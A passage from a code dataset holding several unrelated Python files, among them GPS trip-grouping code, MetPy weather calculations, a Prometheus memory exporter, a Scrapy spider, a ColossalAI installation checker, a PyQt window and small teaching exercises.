in orig_group:\n\t\t\tr_group.append(vi)\n\treturn r\n\ndef prune_patchcache_get_plausgroups(time_window_):\n\tglobal g_patchcache_froute_n_vid_to_time_window_n_plausgroups\n\tfor key, (time_window, plausgroups) in g_patchcache_froute_n_vid_to_time_window_n_plausgroups.items():\n\t\tif abs(time_window_.end - time_window.end) > 1000*60*30:\n\t\t\tdel g_patchcache_froute_n_vid_to_time_window_n_plausgroups[key]\n\ndef trim_plausgroups_by_time_window(groups_, time_window_):\n\tfor group in groups_:\n\t\ttime_window_.trim_vilist(group)\n\tgroups_[:] = [group for group in groups_ if group]\n\ndef add_vi_to_appropriate_plausgroup(groups_, vi_):\n\n\tif len(groups_) == 0:\n\t\tgroups_.append([vi_])\n\telse:\n\t\tdef get_dist_from_group(group_):\n\t\t\tgroups_last_vi = group_[-1]\n\t\t\tgroups_last_vi_to_cur_vi_metres = vi_.latlng.dist_m(groups_last_vi.latlng)\n\t\t\treturn groups_last_vi_to_cur_vi_metres\n\n\t\tdef get_mps_from_group(group_):\n\t\t\tgroups_last_vi = group_[-1]\n\t\t\tgroups_last_vi_to_cur_vi_metres = vi_.latlng.dist_m(groups_last_vi.latlng)\n\t\t\tgroups_last_vi_to_cur_vi_secs = abs((vi_.time - groups_last_vi.time)/1000.0)\n\t\t\treturn groups_last_vi_to_cur_vi_metres/groups_last_vi_to_cur_vi_secs\n\n\t\tdef is_plausible_group(group_):\n\t\t\treturn is_plausible(get_dist_from_group(group_), mps_to_kmph(get_mps_from_group(group_)))\n\n\t\tclosest_group = min(groups_, key=get_dist_from_group)\n\t\tif is_plausible_group(closest_group):\n\t\t\tclosest_group.append(vi_)\n\t\telse:\n\t\t\tgroups_.append([vi_])\n\ndef new_add_vi_to_appropriate_plausgroup(groups_, vi_):\n\n\tif len(groups_) == 0:\n\t\tgroups_.append([vi_])\n\telse:\n\t\tdef get_meters_from_vigroup(vigroup_):\n\t\t\tgroups_last_vi = vigroup_[-1]\n\t\t\tgroups_last_vi_to_cur_vi_metres = vi_.latlng.dist_m(groups_last_vi.latlng)\n\t\t\treturn groups_last_vi_to_cur_vi_metres\n\n\t\tdef get_secs_from_vigroup(vigroup_):\n\t\t\tgroups_last_vi = vigroup_[-1]\n\t\t\treturn abs((vi_.time - groups_last_vi.time)/1000.0)\n\n\t\tdef is_plausible_vigroup(vigroup_):\n\t\t\tdist_from_vigroup = get_meters_from_vigroup(vigroup_)\n\t\t\tsecs_from_vigroup = get_secs_from_vigroup(vigroup_)\n\t\t\tkmph_from_vigroup = mps_to_kmph(dist_from_vigroup/secs_from_vigroup)\n\t\t\treturn is_plausible(dist_from_vigroup, kmph_from_vigroup)\n\n\t\tclosest_vigroup = min(groups_, key=get_meters_from_vigroup)\n\t\tif is_plausible_vigroup(closest_vigroup):\n\t\t\tclosest_vigroup.append(vi_)\n\t\telse:\n\t\t\tgroups_.append([vi_])\n\ndef get_best_plausgroup(groups_, log_=False):\n\tif len(groups_):\n\t\tr = max(groups_, key=len)\n\t\tif log_:\n\t\t\tvid = r[0].vehicle_id\n\t\t\tif len(groups_) == 1:\n\t\t\t\tprinterr('Plausibility groups - vid %s - there was only one group.' % vid)\n\t\t\telse:\n\t\t\t\tprinterr('Plausibility groups - vid %s - chose group %d.' % (vid, groups_.index(r)))\n\t\t\t\tprinterr('---')\n\t\t\t\tfor vi in r:\n\t\t\t\t\tgroupidx = firstidx(groups_, lambda vigroup: vi in vigroup)\n\t\t\t\t\tprinterr('%d - %s' % (groupidx, vi))\n\t\t\t\tprinterr('---')\n\t\t\t\tfor groupidx, vigroup in enumerate(groups_):\n\t\t\t\t\tfor vi in vigroup:\n\t\t\t\t\t\tprinterr('%d - %s' % (groupidx, vi))\n\t\t\t\tprinterr('---')\n\t\t\tprinterr('Plausibility groups - vid %s - groups as JSON:' % vid)\n\t\t\tprinterr([[vi.latlng.ls() for vi in vigroup] for vigroup in groups_])\n\t\treturn r\n\telse:\n\t\tif log_:\n\t\t\tprinterr('Plausibility groups - no vis.')\n\t\treturn []\n\ndef fix_doubleback_gps_noise(vis_, startidx=0, log_=False):\n\tassert is_sorted(vis_, key=lambda vi: vi.time)\n\tif len(vis_) == 0:\n\t\treturn\n\tassert vinfo.same_vid(vis_)\n\tif log_:\n\t\tvid = vis_[0].vehicle_id\n\t\tprinterr('vid %s - fix_doubleback_gps_noise - before:' % vid)\n\t\tfor vi in vis_:\n\t\t\tprinterr(vi)\n\t\tfixes = []\n\tD = 20\n\ti = startidx\n\twhile i < len(vis_):\n\t\tif i < 2:\n\t\t\ti += 1\n\t\telse:\n\t\t\tpreref_pos = vis_[i-2].latlng; ref_vi = vis_[i-1]; ref_pos = ref_vi.latlng; i_pos = vis_[i].latlng\n\t\t\tif ref_pos.dist_m(i_pos) > D:\n\t\t\t\ti += 1\n\t\t\telse:\n\t\t\t\tref_heading = preref_pos.heading(ref_pos)\n\t\t\t\ti_heading = ref_pos.heading(i_pos)\n\t\t\t\tif geom.diff_headings(ref_heading, i_heading) < 90:\n\t\t\t\t\ti += 1\n\t\t\t\telse:\n\t\t\t\t\tif vis_[i].latlng != ref_pos:\n\t\t\t\t\t\tif log_:\n\t\t\t\t\t\t\tfix = [vis_[i].latlng, ref_pos]\n\t\t\t\t\t\t\tprinterr('vid %s - fix_doubleback_gps_noise - fixing vi #%d (%s) - from/to: %s' % \n\t\t\t\t\t\t\t\t(vid, i, vis_[i].timestr, fix))\n\t\t\t\t\t\t\tfixes.append(fix)\n\t\t\t\t\t\tvis_[i] = vis_[i].copy() # Making a copy b/c that vi might be cached. \n\t\t\t\t\t\tvis_[i].copy_pos_info(ref_vi)\n\t\t\t\t\tfor j in range(i+1, len(vis_)):\n\t\t\t\t\t\ti = j\n\t\t\t\t\t\tj_pos = vis_[j].latlng\n\t\t\t\t\t\tif ref_pos.dist_m(j_pos) > D:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif vis_[j].latlng != ref_pos:\n\t\t\t\t\t\t\t\tif log_:\n\t\t\t\t\t\t\t\t\tfix = [vis_[j].latlng, ref_pos]\n\t\t\t\t\t\t\t\t\tprinterr('vid %s - fix_doubleback_gps_noise - fixing vi #%d (%s) - from/to: %s' % \n\t\t\t\t\t\t\t\t\t\t(vid, j, vis_[j].timestr, fix))\n\t\t\t\t\t\t\t\t\tfixes.append(fix)\n\t\t\t\t\t\t\t\tvis_[j] = vis_[j].copy() # Making a copy b/c that vi might be cached. \n\t\t\t\t\t\t\t\tvis_[j].copy_pos_info(ref_vi)\n\t\t\t\t\telse:\n\t\t\t\t\t\ti = len(vis_)\n\tif log_:\n\t\tprinterr('vid %s - fix_doubleback_gps_noise - fixes: %s' % (vid, fixes))\n\t\tprinterr('vid %s - fix_doubleback_gps_noise - after:' % vid)\n\t\tfor vi in vis_:\n\t\t\tprinterr(vi)\n\nif __name__ == '__main__':\n\n\tpass\n\n\n","repo_name":"DanielTripp/ttcskycam","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":83416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39055923325","text":"import metpy.calc as mpcalc\nimport xarray as xr\nfrom metpy.units import units\nfrom utils import *\n\n\ndef compute_spacing(dset):\n dx, dy = mpcalc.lat_lon_grid_deltas(dset['lon'],\n dset['lat'])\n\n dx = xr.DataArray(dx.magnitude,\n dims=['y1', 'x1'],\n attrs={'standard_name': 'x grid spacing',\n 'units': dx.units},\n name='dx')\n dy = xr.DataArray(dy.magnitude,\n dims=['y2', 'x2'],\n attrs={'standard_name': 'y grid spacing',\n 'units': dx.units},\n name='dy')\n\n out = xr.merge([dset, dx, dy])\n out.attrs = dset.attrs\n\n return out\n\n\ndef compute_theta(dset, tvar='t'):\n pres = dset['plev'].metpy.unit_array\n theta = mpcalc.potential_temperature(\n pres[:, None, None], dset[tvar]).metpy.dequantify()\n\n theta = xr.DataArray(theta.values,\n coords=dset[tvar].coords,\n attrs={'standard_name': 'Potential Temperature',\n 'units': theta.units},\n name='theta')\n\n out = xr.merge([dset, theta])\n out.attrs = dset.attrs\n\n return out\n\n\n# Only call this on a time-subset dataset!!\ndef compute_pv(dset):\n dx = dset['dx'].values[:] * units(str(dset['dx'].units))\n dy = dset['dy'].values[:] * units(str(dset['dy'].units))\n lats = dset['lat'].metpy.unit_array\n pres = dset['plev'].metpy.unit_array\n theta = dset['theta'].values[:] * units(str(dset['theta'].units))\n pv = mpcalc.potential_vorticity_baroclinic(potential_temperature=theta,\n pressure=pres[:, None, None],\n u=dset['u'],\n v=dset['v'],\n dx=dx[None, :, :],\n dy=dy[None, :, :],\n latitude=lats[None, :, None]\n )\n\n pv = xr.DataArray(np.array(pv),\n coords=dset['u'].coords,\n attrs={'standard_name': 'Potential Vorticity',\n 'units': pv.units},\n name='pv')\n\n out = xr.merge([dset, pv])\n out.attrs = dset.attrs\n\n return out\n\n\ndef compute_thetae(dset, tvar='t', rvar='r'):\n rh = mpcalc.dewpoint_from_relative_humidity(dset[tvar],\n dset[rvar] / 100.)\n theta_e = mpcalc.equivalent_potential_temperature(850 * units.hPa,\n dset[tvar],\n rh)\n theta_e = theta_e.metpy.convert_units('degC').metpy.dequantify()\n theta_e = xr.DataArray(theta_e.values,\n coords=dset[tvar].coords,\n attrs={'standard_name': 'Equivalent potential temperature',\n 'units': theta_e.units},\n name='theta_e')\n\n return xr.merge([dset, theta_e])\n\n\ndef compute_snow_change(dset, snowvar='sde'):\n hsnow_acc = dset[snowvar]\n hsnow = (hsnow_acc - hsnow_acc[0, :, :])\n hsnow = hsnow.where((hsnow > 0.5) | (hsnow < -0.5))\n\n hsnow = xr.DataArray(hsnow,\n coords=hsnow_acc.coords,\n attrs={'standard_name': 'Snow accumulation since beginning',\n 'units': hsnow_acc.units},\n name='snow_increment')\n\n out = xr.merge([dset, hsnow])\n out.attrs = dset.attrs\n\n return out\n\n\ndef compute_rain_snow_change(dset):\n try:\n rain_acc = dset['RAIN_GSP'] + dset['RAIN_CON']\n except:\n rain_acc = dset['RAIN_GSP']\n try:\n snow_acc = dset['SNOW_GSP'] + dset['SNOW_CON']\n except:\n snow_acc = dset['SNOW_GSP']\n\n rain = (rain_acc - rain_acc[0, :, :])\n snow = (snow_acc - snow_acc[0, :, :])\n\n rain = xr.DataArray(rain, name='rain_increment')\n snow = xr.DataArray(snow, name='snow_increment')\n\n out = xr.merge([dset, rain, snow])\n out.attrs = dset.attrs\n\n return out\n\n\ndef compute_wind_speed(dset, uvar='u', vvar='v'):\n wind = mpcalc.wind_speed(dset[uvar], dset[vvar]).metpy.convert_units(\n 'kph').metpy.dequantify()\n wind = xr.DataArray(wind, coords=dset[uvar].coords,\n attrs={'standard_name': 'wind intensity',\n 'units': wind.units},\n name='wind_speed')\n\n return xr.merge([dset, wind])\n\n\ndef compute_rate(dset):\n '''Given an accumulated variable compute the step rate'''\n try:\n rain_acc = dset['RAIN_GSP'] + dset['RAIN_CON']\n except:\n rain_acc = dset['RAIN_GSP']\n try:\n snow_acc = dset['SNOW_GSP'] + dset['SNOW_CON']\n except:\n snow_acc = dset['SNOW_GSP']\n\n rain = rain_acc.load().differentiate(coord=\"time\", datetime_unit=\"h\")\n snow = snow_acc.load().differentiate(coord=\"time\", datetime_unit=\"h\")\n\n rain = xr.DataArray(rain, name='rain_rate')\n snow = xr.DataArray(snow, name='snow_rate')\n\n out = xr.merge([dset, rain, snow])\n out.attrs = dset.attrs\n\n return out\n","repo_name":"guidocioni/ecmwf-hres","sub_path":"plotting/computations.py","file_name":"computations.py","file_ext":"py","file_size_in_byte":5343,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"36753675979","text":"#!/usr/bin/env python\n\n#: A small script that makes memory usage of nctl nodes available to prometheus.\n\n# Requirements: `prometheus_client`, `psutil`\n\nfrom http.client import HTTPConnection\nimport os\nimport socket\nimport sys\nimport time\nfrom xmlrpc import client\n\nfrom prometheus_client import start_http_server, Summary, Gauge\nimport psutil\n\n\nclass UnixStreamHTTPConnection(HTTPConnection):\n def connect(self):\n self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n self.sock.connect(self.host)\n\n\nclass UnixStreamTransport(client.Transport, object):\n def __init__(self, socket_path):\n self.socket_path = socket_path\n super(UnixStreamTransport, self).__init__()\n\n def make_connection(self, host):\n return UnixStreamHTTPConnection(self.socket_path)\n\n\ndef main():\n net_name = \"net-1\"\n\n # Workaround letting us use symlink paths to shorten socket names. Otherwise symlinks will be\n # resolved by Python's cwd functions (which call libc internally) to resolve `.`.\n cwd = os.popen(\"pwd -L\").read().strip()\n\n sock_addr = os.path.abspath(\n os.path.join(\n cwd,\n \"..\",\n \"nctl\",\n \"assets\",\n net_name,\n \"daemon\",\n \"socket\",\n \"supervisord.sock\",\n )\n )\n delay = 1\n\n gauges = {\n \"rss\": Gauge(\"os_mem_rss_bytes\", \"Resident Set Size\", [\"node\"]),\n \"vms\": Gauge(\"os_mem_vms_bytes\", \"Virtual Memory Size\", [\"node\"]),\n \"shared\": Gauge(\"os_mem_shared_bytes\", \"Shared memory size\", [\"node\"]),\n \"text\": Gauge(\"os_mem_text_bytes\", \"Text memory size\", [\"node\"]),\n \"lib\": Gauge(\"os_mem_lib_bytes\", \"Lib memory size\", [\"node\"]),\n \"data\": Gauge(\"os_mem_data_bytes\", \"Data memory size\", [\"node\"]),\n \"dirty\": Gauge(\"os_mem_dirty_bytes\", \"Dirty memory size\", [\"node\"]),\n }\n\n start_http_server(8000)\n\n while True:\n print(\"Retrieving data for from {}\".format(sock_addr))\n\n try:\n proxy = client.ServerProxy(\n \"http://localhost\", transport=UnixStreamTransport(sock_addr)\n )\n\n all_proc_info = proxy.supervisor.getAllProcessInfo()\n\n for info in all_proc_info:\n name = info[\"name\"]\n\n # Only interested in casper nodes.\n if not name.startswith(\"casper-net\"):\n continue\n\n # PID 0 means the process is not running.\n pid = info[\"pid\"]\n if pid == 0:\n continue\n\n try:\n proc = psutil.Process(info[\"pid\"])\n mem_info = proc.memory_info()\n print(\"{}: {}\".format(name, mem_info))\n\n for key in gauges.keys():\n gauges[key].labels(node=name).set(getattr(mem_info, key))\n except Exception as e:\n print(\"failed to get process info for {}: {}\".format(name, e))\n except Exception as e:\n print(\"failed: {}\".format(e))\n\n time.sleep(delay)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"casper-network/casper-node","sub_path":"utils/nctl-metrics/mem_export.py","file_name":"mem_export.py","file_ext":"py","file_size_in_byte":3134,"program_lang":"python","lang":"en","doc_type":"code","stars":357,"dataset":"github-code","pt":"62"} +{"seq_id":"10380741222","text":"import scrapy\n\n\nclass QuotesSpider(scrapy.Spider):\n\n # Name of your spider\n name = \"quotes\"\n\n # Url to start your spider from \n start_urls = [\n 'http://quotes.toscrape.com/page/1/',\n ]\n\n # Callback that gets text, author and tags of the webpage\n def parse(self, response):\n for quote in response.css('div.quote'):\n yield {\n 'text': quote.css('span.text::text').get(),\n 'author': quote.css('span small::text').get(),\n 'tags': quote.css('div.tags a.tag::text').getall(),\n }\n\n # Select the NEXT button and store it in next_page\n next_page = response.css('li.next a').attrib[\"href\"]\n\n # Check if next_page exists\n if next_page is not None:\n # Follow the next page and use the callback parse\n yield response.follow(next_page, callback=self.parse)","repo_name":"thibaudchevrier/Jedha","sub_path":"3-Data_collection_and_management/1-Web_scraping/scrapy/first_project/first_project/spiders/first_spider.py","file_name":"first_spider.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29194251518","text":"import subprocess\n\nimport click\nimport torch\nfrom torch.utils.cpp_extension import CUDA_HOME\n\nimport colossalai\n\n\ndef to_click_output(val):\n # installation check output to understandable symbols for readability\n VAL_TO_SYMBOL = {True: \"\\u2713\", False: \"x\", None: \"N/A\"}\n\n if val in VAL_TO_SYMBOL:\n return VAL_TO_SYMBOL[val]\n else:\n return val\n\n\ndef check_installation():\n \"\"\"\n This function will check the installation of colossalai, specifically, the version compatibility of\n colossalai, pytorch and cuda.\n\n Example:\n ```text\n ```\n\n Returns: A table of installation information.\n \"\"\"\n found_aot_cuda_ext = _check_aot_built_cuda_extension_installed()\n cuda_version = _check_cuda_version()\n torch_version, torch_cuda_version = _check_torch_version()\n colossalai_version, prebuilt_torch_version_required, prebuilt_cuda_version_required = _parse_colossalai_version()\n\n # if cuda_version is None, that means either\n # CUDA_HOME is not found, thus cannot compare the version compatibility\n if not cuda_version:\n sys_torch_cuda_compatibility = None\n else:\n sys_torch_cuda_compatibility = _is_compatible([cuda_version, torch_cuda_version])\n\n # if cuda_version or cuda_version_required is None, that means either\n # CUDA_HOME is not found or AOT compilation is not enabled\n # thus, there is no need to compare the version compatibility at all\n if not cuda_version or not prebuilt_cuda_version_required:\n sys_colossalai_cuda_compatibility = None\n else:\n sys_colossalai_cuda_compatibility = _is_compatible([cuda_version, prebuilt_cuda_version_required])\n\n # if torch_version_required is None, that means AOT compilation is not enabled\n # thus there is no need to compare the versions\n if prebuilt_torch_version_required is None:\n torch_compatibility = None\n else:\n torch_compatibility = _is_compatible([torch_version, prebuilt_torch_version_required])\n\n click.echo(f\"#### Installation Report ####\")\n click.echo(f\"\\n------------ Environment ------------\")\n click.echo(f\"Colossal-AI version: {to_click_output(colossalai_version)}\")\n click.echo(f\"PyTorch version: {to_click_output(torch_version)}\")\n click.echo(f\"System CUDA version: {to_click_output(cuda_version)}\")\n click.echo(f\"CUDA version required by PyTorch: {to_click_output(torch_cuda_version)}\")\n click.echo(\"\")\n click.echo(f\"Note:\")\n click.echo(f\"1. The table above checks the versions of the libraries/tools in the current environment\")\n click.echo(f\"2. If the System CUDA version is N/A, you can set the CUDA_HOME environment variable to locate it\")\n click.echo(\n f\"3. If the CUDA version required by PyTorch is N/A, you probably did not install a CUDA-compatible PyTorch. This value is give by torch.version.cuda and you can go to https://pytorch.org/get-started/locally/ to download the correct version.\"\n )\n\n click.echo(f\"\\n------------ CUDA Extensions AOT Compilation ------------\")\n click.echo(f\"Found AOT CUDA Extension: {to_click_output(found_aot_cuda_ext)}\")\n click.echo(f\"PyTorch version used for AOT compilation: {to_click_output(prebuilt_torch_version_required)}\")\n click.echo(f\"CUDA version used for AOT compilation: {to_click_output(prebuilt_cuda_version_required)}\")\n click.echo(\"\")\n click.echo(f\"Note:\")\n click.echo(\n f\"1. AOT (ahead-of-time) compilation of the CUDA kernels occurs during installation when the environment variable CUDA_EXT=1 is set\"\n )\n click.echo(f\"2. If AOT compilation is not enabled, stay calm as the CUDA kernels can still be built during runtime\")\n\n click.echo(f\"\\n------------ Compatibility ------------\")\n click.echo(f\"PyTorch version match: {to_click_output(torch_compatibility)}\")\n click.echo(f\"System and PyTorch CUDA version match: {to_click_output(sys_torch_cuda_compatibility)}\")\n click.echo(f\"System and Colossal-AI CUDA version match: {to_click_output(sys_colossalai_cuda_compatibility)}\")\n click.echo(f\"\")\n click.echo(f\"Note:\")\n click.echo(f\"1. The table above checks the version compatibility of the libraries/tools in the current environment\")\n click.echo(\n f\" - PyTorch version mismatch: whether the PyTorch version in the current environment is compatible with the PyTorch version used for AOT compilation\"\n )\n click.echo(\n f\" - System and PyTorch CUDA version match: whether the CUDA version in the current environment is compatible with the CUDA version required by PyTorch\"\n )\n click.echo(\n f\" - System and Colossal-AI CUDA version match: whether the CUDA version in the current environment is compatible with the CUDA version used for AOT compilation\"\n )\n\n\ndef _is_compatible(versions):\n \"\"\"\n Compare the list of versions and return whether they are compatible.\n \"\"\"\n if None in versions:\n return False\n\n # split version into [major, minor, patch]\n versions = [version.split(\".\") for version in versions]\n\n for version in versions:\n if len(version) == 2:\n # x means unknown\n version.append(\"x\")\n\n for idx, version_values in enumerate(zip(*versions)):\n equal = len(set(version_values)) == 1\n\n if idx in [0, 1] and not equal:\n return False\n elif idx == 1:\n return True\n else:\n continue\n\n\ndef _parse_colossalai_version():\n \"\"\"\n Get the Colossal-AI version information.\n\n Returns:\n colossalai_version: Colossal-AI version.\n torch_version_for_aot_build: PyTorch version used for AOT compilation of CUDA kernels.\n cuda_version_for_aot_build: CUDA version used for AOT compilation of CUDA kernels.\n \"\"\"\n # colossalai version can be in two formats\n # 1. X.X.X+torchX.XXcuXX.X (when colossalai is installed with CUDA extensions)\n # 2. X.X.X (when colossalai is not installed with CUDA extensions)\n # where X represents an integer.\n colossalai_version = colossalai.__version__.split(\"+\")[0]\n\n try:\n torch_version_for_aot_build = colossalai.__version__.split(\"torch\")[1].split(\"cu\")[0]\n cuda_version_for_aot_build = colossalai.__version__.split(\"cu\")[1]\n except:\n torch_version_for_aot_build = None\n cuda_version_for_aot_build = None\n return colossalai_version, torch_version_for_aot_build, cuda_version_for_aot_build\n\n\ndef _check_aot_built_cuda_extension_installed():\n \"\"\"\n According to `op_builder/README.md`, the CUDA extension can be built with either\n AOT (ahead-of-time) or JIT (just-in-time) compilation.\n AOT compilation will build CUDA extensions to `colossalai._C` during installation.\n JIT (just-in-time) compilation will build CUDA extensions to `~/.cache/colossalai/torch_extensions` during runtime.\n \"\"\"\n try:\n found_aot_cuda_ext = True\n except ImportError:\n found_aot_cuda_ext = False\n return found_aot_cuda_ext\n\n\ndef _check_torch_version():\n \"\"\"\n Get the PyTorch version information.\n\n Returns:\n torch_version: PyTorch version.\n torch_cuda_version: CUDA version required by PyTorch.\n \"\"\"\n # get torch version\n # torch version can be of two formats\n # - 1.13.1+cu113\n # - 1.13.1.devxxx\n torch_version = torch.__version__.split(\"+\")[0]\n torch_version = \".\".join(torch_version.split(\".\")[:3])\n\n # get cuda version in pytorch build\n try:\n torch_cuda_major = torch.version.cuda.split(\".\")[0]\n torch_cuda_minor = torch.version.cuda.split(\".\")[1]\n torch_cuda_version = f\"{torch_cuda_major}.{torch_cuda_minor}\"\n except:\n torch_cuda_version = None\n\n return torch_version, torch_cuda_version\n\n\ndef _check_cuda_version():\n \"\"\"\n Get the CUDA version information.\n\n Returns:\n cuda_version: CUDA version found on the system.\n \"\"\"\n\n # get cuda version\n if CUDA_HOME is None:\n cuda_version = CUDA_HOME\n else:\n try:\n raw_output = subprocess.check_output([CUDA_HOME + \"/bin/nvcc\", \"-V\"], universal_newlines=True)\n output = raw_output.split()\n release_idx = output.index(\"release\") + 1\n release = output[release_idx].split(\".\")\n bare_metal_major = release[0]\n bare_metal_minor = release[1][0]\n cuda_version = f\"{bare_metal_major}.{bare_metal_minor}\"\n except:\n cuda_version = None\n return cuda_version\n","repo_name":"hpcaitech/ColossalAI","sub_path":"colossalai/cli/check/check_installation.py","file_name":"check_installation.py","file_ext":"py","file_size_in_byte":8453,"program_lang":"python","lang":"en","doc_type":"code","stars":35338,"dataset":"github-code","pt":"62"} +{"seq_id":"71755334598","text":"import sys\n\n\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QFont, QIcon, QPixmap\nfrom PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QLabel, QTextEdit, QLineEdit, QPushButton, QCheckBox, QGridLayout,\n QVBoxLayout, QHBoxLayout, QSizePolicy, QMessageBox, QComboBox)\n\n\n\n\nclass mapwin(QWidget):\n def __init__(self): # Constructor\n super().__init__()\n self.back = False\n self.initializeUI()\n\n def initializeUI(self):\n \"\"\"\n Initialize the window and display its contents to the screen\n \"\"\"\n self.setGeometry(250, 50, 800, 620)\n self.setWindowTitle('NCTU MAP')\n self.setWindowIcon(QIcon(\"image/nctu.jpeg\"))\n self.setupUI()\n # self.show()\n\n def setupUI(self):\n \n layout = QVBoxLayout()\n\n # self.back_button.resize(20, 20) \n self.back_button = QPushButton(\"Back\", self)\n self.back_button.move(20, 20)\n self.back_button.setStyleSheet(\"background-color:gray ; font-size : 30pt\")\n\n # org label\n self.orglabel = QLabel(\"FROM:\")\n self.orglabel.setStyleSheet(\"font-size : 40pt\")\n\n\n # org combobox\n self.org = QComboBox(self)\n self.org.setStyleSheet(\"font-size : 30pt\")\n self.org.addItems([\"northdoor\", \"southdoor\"])\n\n # dst label\n self.dstlabel = QLabel(\"DESTINATION\")\n self.dstlabel.setStyleSheet(\"font-size : 40pt\")\n\n # dst combobox\n self.dst = QComboBox(self)\n self.dst.setStyleSheet(\"font-size : 30pt\")\n self.dst.addItems([\"dorm7\", \"dorm8\", \"dorm9\", \"dorm10\", \"dorm12\", \"dorm13\", \"dormg2\"])\n\n # enter button\n self.enterbutton = QPushButton(\"ENTER\")\n self.enterbutton.setStyleSheet(\"font-size : 50pt\")\n self.enterbutton.setStyleSheet(\"background-color : gray ; font-size : 40pt\")\n \n\n layout.addWidget(self.back_button)\n layout.addStretch(1)\n layout.addWidget(self.orglabel)\n layout.addWidget(self.org)\n layout.addStretch(1)\n layout.addWidget(self.dstlabel)\n layout.addWidget(self.dst)\n layout.addStretch(1)\n layout.addWidget(self.enterbutton)\n\n self.setLayout(layout)\n \n\n \n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n # app.setStyleSheet(stylesheet)\n window = mapwin()\n window.show()\n sys.exit(app.exec_())","repo_name":"holyuming/Embedded-systems-lab-final-project","sub_path":"mapwin.py","file_name":"mapwin.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15513586621","text":"\"\"\"\nDraws a koch curve with length n.\n\"\"\"\n\ndef koch(t, n):\n\tif n < 3:\n\t\tt.fd(n)\n\t\treturn\n\tm = n/3\n\tkoch(t, m)\n\tt.lt(60)\n\tkoch(t, m)\n\tt.rt(120)\n\tkoch(t, m)\n\tt.lt(60)\n\tkoch(t, m)\n\nimport turtle\nbob = turtle.Turtle()\nkoch(bob, 200)\nturtle.mainloop()\n","repo_name":"suwhisper/Solutions-for-Think-Python-2e","sub_path":"chapter_5/koch.py","file_name":"koch.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"12781940034","text":"'''\nВъв файл is_prime.py, напишете програма, която:\n\nЧете едно цяло число n от потребителя\nИзкарва н�� екрана съобщение, ако числото е просто - The number is prime!\nИначе изкарва съобщение - The number is not prime!\n'''\n\nimport math\n\nn = int(input(\"Enter n: \"))\n\ni = 5\nisPrime = True\n\nif n == 2 or n == 3 or n == 1:\n\tisPrime = True\nelif n % 2 == 0 or n % 3 == 0:\n\tisPrime = False\n\nwhile i <= (n - 1):\n\tif n % i == 0:\n\t\tisPrime = False\n\ti += 1\n\nif isPrime:\n\tprint(\"It is prime\")\nelse:\n\tprint(\"It is not prime\")","repo_name":"vanjiii/playground","sub_path":"hackbg/programming-51/Programming0/week1/5-Saturday-Tasks/is_prime.py","file_name":"is_prime.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"bg","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1142791710","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Apr 27 23:35:41 2022\r\n\r\n@author: TAVAKOLI\r\n\"\"\"\r\n\r\nclass complex :\r\n\r\n def __init__(self, real=None, image=None):\r\n self.r = real\r\n self.i = image\r\n \r\n\r\n\r\n def sub(self, other):\r\n result=complex()\r\n result.r= self.r - other.r\r\n result.i= self.i - other.i\r\n return result\r\n\r\n\r\n def sum(self, other):\r\n result=complex()\r\n result.r= self.r + other.r\r\n result.i= self.i + other.i\r\n return result\r\n\r\n\r\n\r\n def mul(self, other):\r\n result=complex()\r\n result.r= self.r * other.r - self.i * other.i\r\n result.i= self.r * other.i - self.i * other.r\r\n return result\r\n\r\n\r\n def show(self):\r\n return str(self.r )+'+('+str(self.i) +')i'\r\n\r\nreal1=int(input('enter your complex number1 real: '))\r\nimage1=int(input('enter your complex number2 image: '))\r\n\r\n\r\nreal2=int(input('enter your complex number2 real: '))\r\nimage2=int(input('enter your complex number2 image: '))\r\n\r\nC1 = complex(real1,image1)\r\nC2 = complex(real2,image2)\r\nprint('sum:',(C1.sum(C2)).show())\r\nprint('SUB:',(C1.sub(C2)).show())\r\nprint('mul:',(C1.mul(C2)).show())","repo_name":"ZAHRATAVAKoLE/Assignment6","sub_path":"complex_number.py","file_name":"complex_number.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5744892129","text":"#!/Users/siida/anaconda3/bin/python\nimport MDAnalysis\n#from MDAnalysis.analysis.waterdynamics import SurvivalProbability as SP\nfrom MDAnalysis.analysis.si_waterdynamics import SurvivalProbability as SP\nimport matplotlib.pyplot as plt\nimport sys\nimport pandas as pd\n\ndef survivalProb(univ, selection, start = 0, stop = None, step = 1, tau_max = 30):\n #show the first frame's atoms selected to debug\n with open(f\"selected_atoms_from_first_frame.txt\", \"w\") as fout:\n for atom in univ.select_atoms(selection): \n fout.write(f\"{atom.name}{atom.id} {atom.resname}{atom.resid}\\n\")\n \n sp = SP(univ, selection, verbose=True)\n sp.run(start=start, stop=stop, step=step, tau_max=tau_max)\n\n #for tau, sp in zip(tau_timeseries, sp_timeseries):\n # print(\"{time} {sp}\".format(time=tau, sp=sp))\n \n return sp.tau_timeseries, sp.sp_timeseries, sp.selected_indexes\n\ndef jotDown(taus, sps, prefix=None, nameForlog=None):\n with open(f\"{prefix}_survivalProb.dat\", \"w\") as fout:\n fout.write(f\"#This output was derived from:\\n\")\n fout.write(f\"#{nameForlog}\\n\")\n for tau, sp in zip(taus, sps): \n fout.write(f\"{tau} {sp}\\n\")\n \n\ndef parser():\n import argparse\n p = argparse.ArgumentParser()\n p.add_argument('-r' 